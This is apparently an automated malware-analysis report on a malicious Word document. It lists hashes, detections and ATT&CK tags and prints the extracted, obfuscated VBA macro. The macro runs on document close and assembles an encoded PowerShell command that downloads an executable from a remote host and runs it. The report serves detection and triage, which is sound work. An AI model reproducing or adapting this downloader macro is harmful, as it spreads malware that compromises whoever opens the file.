Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a588ea4f2eae31e…

MALICIOUS

Office (OLE)

72.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 2a11e48569d1bba7e598cbc8401f9939 SHA-1: 716421fe155a91748d80b40e6b10ee2d7c4fd3b3 SHA-256: 5a588ea4f2eae31e91e0f771660376acba7112b15f48a01c61827149320ccabd
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoClose function that is triggered when the document is closed. This macro uses the Shell() function to execute a heavily obfuscated PowerShell command. The reconstructed PowerShell command appears to be designed to download and execute a second-stage payload, indicating a downloader or droppper functionality.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6731840-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6731840-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7721 bytes
SHA-256: e79c39aa73e08b7ed252de1097124bd71d596b341e0f1c46ef55993e7db5c57e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const NEBJeSUsocICInHUCIGYBarUpyWOPaXOqu = 0
Sub AutoClose()
On Error Resume Next
Dim TiLeiUPUsOiIKICecosEsYwEquHusulAhYiitIO

TiLeiUPUsOiIKICecosEsYwEquHusulAhYiitIO = IsNull(Choose(3, "wOkOdopItuSOzEKiZ", "TiLeiUPUsOiIKICecosEsYwEquHusulAhYiitIO", "wOkOdopItuSOzEKiZTiLeiUPUsOiIKICecosEsYwEquHusulAhYiitIO"))
IsError CVErr(2527)
Call IsNull(2527 - 3 * 11)

If Len(wOkOdopItuSOzEKiZ) > Len(CStr(Hex(2527))) Then
   Call IsError(CVErr(CInt(CStr(wOkOdopItuSOzEKiZ))))
End If
Dim BYrYRYtejydaFEtexoSyJowESEXifREFoHEh

BYrYRYtejydaFEtexoSyJowESEXifREFoHEh = IsNull(Choose(8, "VYYxUkolAPUQIcabyPy", "BYrYRYtejydaFEtexoSyJowESEXifREFoHEh", "VYYxUkolAPUQIcabyPyBYrYRYtejydaFEtexoSyJowESEXifREFoHEh"))
IsError CVErr(4943)
Call IsNull(4943 - 8 * 12)

If Len(VYYxUkolAPUQIcabyPy) > Len(CStr(Hex(4943))) Then
   Call IsError(CVErr(CInt(CStr(VYYxUkolAPUQIcabyPy))))
End If
gUNaJoDynEWOcuaySAwoPuGejyMAtUQIx = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8"

Dim nEZiBUTIqihosUWuqaRAXYPOMAbyBUayX

nEZiBUTIqihosUWuqaRAXYPOMAbyBUayX = IsNull(Choose(10, "nAiudyHaxaVYSUsAVeXah", "nEZiBUTIqihosUWuqaRAXYPOMAbyBUayX", "nAiudyHaxaVYSUsAVeXahnEZiBUTIqihosUWuqaRAXYPOMAbyBUayX"))
IsError CVErr(4443)
Call IsNull(4443 - 10 * 13)

If Len(nAiudyHaxaVYSUsAVeXah) > Len(CStr(Hex(4443))) Then
   Call IsError(CVErr(CInt(CStr(nAiudyHaxaVYSUsAVeXah))))
End If
Dim KikeaysumOVeteSIMUTozygOJelO

KikeaysumOVeteSIMUTozygOJelO = IsNull(Choose(3, "tAkasegAriWITEf", "KikeaysumOVeteSIMUTozygOJelO", "tAkasegAriWITEfKikeaysumOVeteSIMUTozygOJelO"))
IsError CVErr(7662)
Call IsNull(7662 - 3 * 10)

If Len(tAkasegAriWITEf) > Len(CStr(Hex(7662))) Then
   Call IsError(CVErr(CInt(CStr(tAkasegAriWITEf))))
End If
GavuwuwOZouiRYmuvArEgasuhOQUvUda = "^A^L^w^B^k^A^G^U^A^Y^Q^B^s^A^G^E^A^Z^A^B^5^A^G^4^A^b^w^B^1^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^v^A^H^I^A^" + Format(ChrW(101)) + "^Q^A^0^A^C^4^A^" + Format(ChrW(101)) + "^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^D"


Dim kAgowIfRulyFhyVEsaMpvEm

kAgowIfRulyFhyVEsaMpvEm = IsNull(Choose(6, "JicOCeJiiymy", "kAgowIfRulyFhyVEsaMpvEm", "JicOCeJiiymykAgowIfRulyFhyVEsaMpvEm"))
IsError CVErr(2901)
Call IsNull(2901 - 6 * 13)

If Len(JicOCeJiiymy) > Len(CStr(Hex(2901))) Then
   Call IsError(CVErr(CInt(CStr(JicOCeJiiymy))))
End If
tIqAqoPuvUwohSmEbeGoreZaKgyxAGY = "^M^A^Z^Q^B^i^A^G^E^A^O^Q^B^m^A^D^U^A^Y^Q^A^u^A^G^U^A^" + Format(ChrW(101)) + "^A^B^l^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW((12.5 * 8) - 1)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^H^M^A^" + Format(ChrW((12.5 * 8) - 1)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A^X^A^A^z^A^G^U^A^Y^g^B^h^A^D^k^A^Z^g^A^1^A^G^E^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^D^s^A^I^A^B^F^A^H^g^A^a^Q^B^0^A"


GarUDgaTyjywOladULUGupIZPEHE = "^A^=^="
Dim WYROwYRyNAaAdIqoMAbiLimYZEJp

WYROwYRyNAaAdIqoMAbiLimYZEJp = IsNull(Choose(2, "WIBOqeJIdAQovAWIZA", "WYROwYRyNAaAd
... (truncated)

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